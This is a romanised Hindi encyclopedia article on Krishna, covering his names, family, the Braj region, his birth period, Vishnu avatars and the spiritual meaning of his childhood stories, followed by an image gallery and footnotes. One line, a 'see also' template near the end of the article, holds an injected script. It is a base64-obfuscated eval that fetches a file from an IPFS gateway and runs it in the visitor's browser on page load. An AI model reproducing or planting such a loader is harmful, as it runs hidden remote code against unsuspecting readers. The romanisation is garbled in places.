कृष्ण
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krishna
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| any nam | vasudev, mohan, dvarikadhish, keshav, gopal, nandalal, baanke bihari, kanhaiya, giradhari, murari, mukuand, govind, yadunandan, ranachho d adi |
| avatar | solah kala yukt poornavatar (vishnu) |
| vansh-gotr | vrishni vansh (chandravansh) |
| kul | yadukul |
| pita | vasudev |
| mata | devaki |
| palak pita | nandababa |
| palak mata | yashoda |
| janm vivaran | bhadrapad, krishna paksh, ashtami |
| samay-kal | mahabharat kal |
| parijan | rohini (vimata), balaram (bhaee), subhadra (bahan), gad (bhaee) |
| guru | sandipan, aangiras |
| vivah | rukmini, satyabhama, jaanbavati, mitravianda, bhadra, satya, lakshmana, kaliandi |
| santan | pradyumn, aniruddh, saanb |
| vidya parangat | solah kala, chakr chalana |
| rachanaean | 'gita' |
| shasan-rajy | dvarika |
| sandarbh granth | 'mahabharat', 'bhagavat', 'chhandogy upanishad'. |
| mrityu | pair mean tir lagane se. |
| sanbandhit lekh | krishna janm ghatanakram, krishna balalila, govardhan lila, krishna balaram ka mathura agaman, kans vadh, krishna aur mahabharat, krishna ka aantim samay |
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shrikrishna ko hindoo dharm mean bhagavan vishnu ka avatar mana jata hai. sanatan dharm ke anusar bhagavan vishnu sarvapapahari pavitr aur samast manushyoan ko bhog tatha moksh pradan karane vale pramukh devata haian. shrikrishna sadharan vyakti n hokar 'yug purush' the. unake vyaktitv mean bharat ko ek pratibha sampann 'rajanitivetta' hi nahi, ek mahanh 'karmayogi' aur 'darshanik' prapt hua, jisaka 'gita' jnan samast manav-jati evan sabhi desh-kal ke lie path-pradarshak hai. krishna ki stuti lagabhag sare bharat mean kisi n kisi roop mean ki jati hai. ve log jinhean ham sadharan roop mean nastik ya dharm nirapeksh ki shreni mean rakhate haian, nishchit roop se 'shrimadh bhagavadgita' se prabhavit haian. 'gita' kisane aur kis kal mean kahi ya likhi yah shodh ka vishay hai, kintu 'gita' ko krishna se hi jo da jata hai. yah astha ka prashn hai aur yooan bhi astha ke prashnoan ke uttar itihas mean nahian talashe jate.
krishna|250px
braj
braj ya shoorasen janapad ke itihas mean shrikrishna ka samay b de mahattv ka hai. isi samay mean prajatantr aur nripatantr ke bich kathor sangharsh hue. magadh rajy ki shakti ka vistar hua aur bharat ka vah mahanh bhishan sangram hua, jise mahabharat yuddh kahate haian. in rajanitik halachaloan ke atirikt is kal ka saanskritik mahattv bhi hai. mathura nagari is mahanh vibhooti ka janmasthan hone ke karan dhany ho gee. mathura hi nahian, sara shoorasen ya braj janapad anandakand krishna ki manohar lilaoan ki kri dabhoomi hone ke karan gauravanvit ho gaya. mathura aur braj ko kalaantar mean jo asadharan mahattv prapt hua, vah is mahapurush ki janmabhoomi aur kri dabhoomi hone ke karan hi prapt hua. shrikrishna bhagavat dharm ke mahanh srot hue. is dharm ne koti-koti bharatiy jan ka anuranjan to kiya hi, sath hi kitane hi videshi isake dvara prabhavit hue. prachin aur arvachin sahity ka ek b da bhag krishna ki manohar lilaoan se ot-prot hai. unake lokaranjak roop ne bharatiy janata ke manas-patal par jo chhap laga di hai, vah amit hai. braj mean bhagavan shrikrishna ko log kee namoan se pukarate hai- kanha, gopal, giradhar, madhav, keshav, madhusoodan, giradhari, ranachho d, banshidhar, nandalal, muralidhar adi namoan se jane jate haian.
krishna janm ka samay
vartaman aitihasik anusandhanoan ke adhar par shrikrishna ka janm lagabhag ee. poo. 1500 mana jata hai. ye sambhavat: 100 varsh se kuchh oopar ki ayu tak jivit rahe. apane is dirgh jivan mean unhean vividh prakar ke karyoan mean vyast rahana p da. unaka praranbhik jivan to braj mean kata aur shesh dvaraka mean vyatit hua. bich-bich mean unhean any anek janapadoan mean bhi jana p da. jo anek ghatanaean unake samay mean ghatian, unaki vistrit charcha puranoan tatha mahabharat mean milati hai. vaidik sahity[1] mean to krishna ka ullekh bahut kam milata hai aur usamean unhean manav-roop mean hi dikhaya gaya hai, n ki narayan ya vishnu ke avatar roop mean.
vishnu ke avatar
sanatan dharm ke anusar bhagavan vishnu sarvapapahari pavitr aur samast manushyoan ko bhog tatha moksh pradan karane vale pramukh devata haian. jab-jab is prithvi par asur evan rakshasoan ke papoan ka atank vyapt hota hai, tab-tab bhagavan vishnu kisi n kisi roop mean avatarit hokar prithvi ke bhar ko kam karate haian. vaise to bhagavan vishnu ne abhi tak teees avataroan ko dharan kiya. in avataroan mean unake sabase mahatvapoorn avatar 'shriram' aur 'shrikrishna' ke hi mane jate haian. shrikrishna aitihasik purush the, isaka spasht praman 'chhandogy upanishad' ke ek ullekh mean milata hai. vahaan[2] kaha gaya hai ki "devaki putr shrikrishna ko maharshidev:koti aangiras ne nishkam karm roop yajn upasana ki shiksha di thi, jise grahan kar shrikrishna 'tript' arthath poorn purush ho ge the." shrikrishna ka jivan, jaisa ki mahabharat mean varnit hai, isi shiksha se anupranit tha aur 'gita' mean usi shiksha ka pratipadan unake hi madhyam se kiya gaya hai.
lilaoan ka sandesh
krishna lilaoan ka jo vistrit varnan bhagavat granth mean kiya gaya hai, usaka uddeshy kya keval krishna bhaktoan ki shraddha badhana hai ya manushy matr ke lie isaka kuchh sandesh hai? tarkik man ko vichitr-si lagane vali in ghatanaoan ke varnan ka uddeshy kya aise man ko atimanaviy parashakti ki rahasyamayata se vimoodhavat bana dena hai athava use usake tarkik star par hi kuchh gahara sandesh dena hai, is par vichar karana chahie. shrikrishna ek aitihasik purush hue haian, isaka spasht praman 'chhandogy upanishad' ke ek ullekh mean milata hai. vahaan[3] kaha gaya hai ki devaki putr shrikrishna ko maharshidev:koti aangiras ne nishkam karm roop yajn upasana ki shiksha di thi, jise grahan kar shrikrishna 'tript' arthath poorn purush ho ge the.
shrikrishna ka jivan, jaisa ki mahabharat mean varnit hai, isi shiksha se anupranit tha aur 'gita' mean usi shiksha ka pratipadan unake hi madhyam se kiya gaya hai. kiantu inake janm aur bal-jivan ka jo varnan prapt hai, vah moolatah shrimadbhagavat ka hai aur vah aitihasik kam, adhyatmik adhik hai aur yah bat granth ke adhyatmik svaroop ke anusar hi hai. granth mean chamatkari bhautik varnanoan ke parde ke pichhe gahan adhyatmik sanket sanjoe ge haian. vastutah bhagavat mean srishti ki sanpoorn vikas prakriya ka aur us prakriya ko gati dene vali paramatm shakti ka darshan karaya gaya hai. granth ke poorvardh[4] mean srishti ke kramik vikas[5] ka aur uttarardh (dasham skandh) mean shrikrishna ki lilaoan ke dvara vyakti ke adhyatmik vikas ka varnan pratik shaili mean kiya gaya hai.
- REDIRECTsaancha:inhean bhi dekhean<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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vithika
- chitr:Krishna-birth2.jpg
krishna janm ke samay bhagavan vishnu
- chitr:cheer-haran.jpg
chir haran
- chitr:Radha-Krishna-Janmbhumi-Mathura-1.jpg
radha-krishna, krishna janmabhoomi, mathura
- chitr:Krishna-And-Radha-Near-The-Cowshed.jpg
gaushala ke bahar krishna aur radha
- chitr:Balakrishna.jpg
shrikrishna ka bal roop
- chitr:Radha-Krishna-2.jpg
- chitr:Radha-Krishna-3.jpg
radha-krishna
- chitr:Krishna-Birth-Place-Mathura-7.jpg
krishna janmashtami ke avasar par shraddhaluoan ki bhi d, krishna janmabhoomi, mathura
- chitr:Krishna-Birth-Place-Mathura-2.jpg
- chitr:Radha-Krishna-4.jpg
radha-krishna
- chitr:Baldev-Temple-1.jpg
- chitr:Radha-1.jpg
virahini radha
- chitr:krishna-arjun1.jpg
krishna aur arjun
- chitr:Dwarkadhish-Temple-Dwarka-Gujarat-2.jpg
- chitr:Krishna-2.jpg
bansi bajate hue shrikrishna
tika tippani aur sandarbh
- ↑ chhaandogy upanishad (3,17,6), jisamean devaki putr krishna ka ullekh hai aur unhean ghor aangiras ka shishy kaha hai, paravarti sahity mean shrikrishna ko dev ya vishnu roop mean pradarshit karane ka bhav milata hai. (taittiriy aranyak, 10, 1, 6; panini-ashtadhyayi, 4, 3, 98 adi) mahabharat tatha harivansh puran, vishnu puran, brahm puran, vayu puran, bhagavat, padm puran, devi bhagavat, agni puran tatha brahmavart puranoan mean unhean pray: bhagavan ke roop mean hi dikhaya gaya hai. in granthoan mean yadyapi krishna ke alaukik tattv ki pradhanata hai to bhi unake manav ya aitihasik roop ke bhi darshan yatr-tatr milate haian. puranoan mean krishna-sanbandhi vibhinn varnanoan ke adhar par kuchh pashchaty vidvanoan ko yah kalpana karane ka avasar mila ki krishna aitihasik purush nahian the. is kalpana ki pushti mean anek dalilean di gee haian, jo thik nahian siddh hotian. yadi mahabharat aur puranoan ke atirikt, brahman-granthoan tatha upanishadoan ke ullekh dekhe jayean to krishna ke aitihasik tattv ka pata chal jayaga. bauddh-granth ghat jatak tatha jain-granth 'uttaradhyayan sootr' se bhi shrikrishna ka aitihasik hona siddh hai. yah mat bhi bhramak hai ki braj ke krishna, dvaraka ke krishna tatha mahabharat ke krishna ek n hokar alag-alag vyakti the. (shrikrishna ki aitihasikata tatha tatsanbandhi any samasyaoan ke lie dekhie- ray chaudhari-arli histri aauph vaishnav sekt, pri. 39, 52; ar.ji. bhandarakar-granthamala, jild 2, pri0 58-291; viantaranij-histri aauph iandiyan litarechar, jild 1, pri. 456; maikad aaunal tatha kith-vaidik iandeks, ji.1, pri. 184; griyarsan-enasaiklopidiya aauph rilijans ('bhakti' par nibandh); bhagavanadas- krishna; tadapatrikar-d krishna prayalam; parjitar-ऎshyant iandiyan hist aaurikal tredishan adi.
- ↑ 3.17.6
- ↑ 3.17.6
- ↑ skandh 1 se 9
- ↑ j d-jiv-manav nirman
sanbandhit lekh
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varnamala kramanusar lekh khoj
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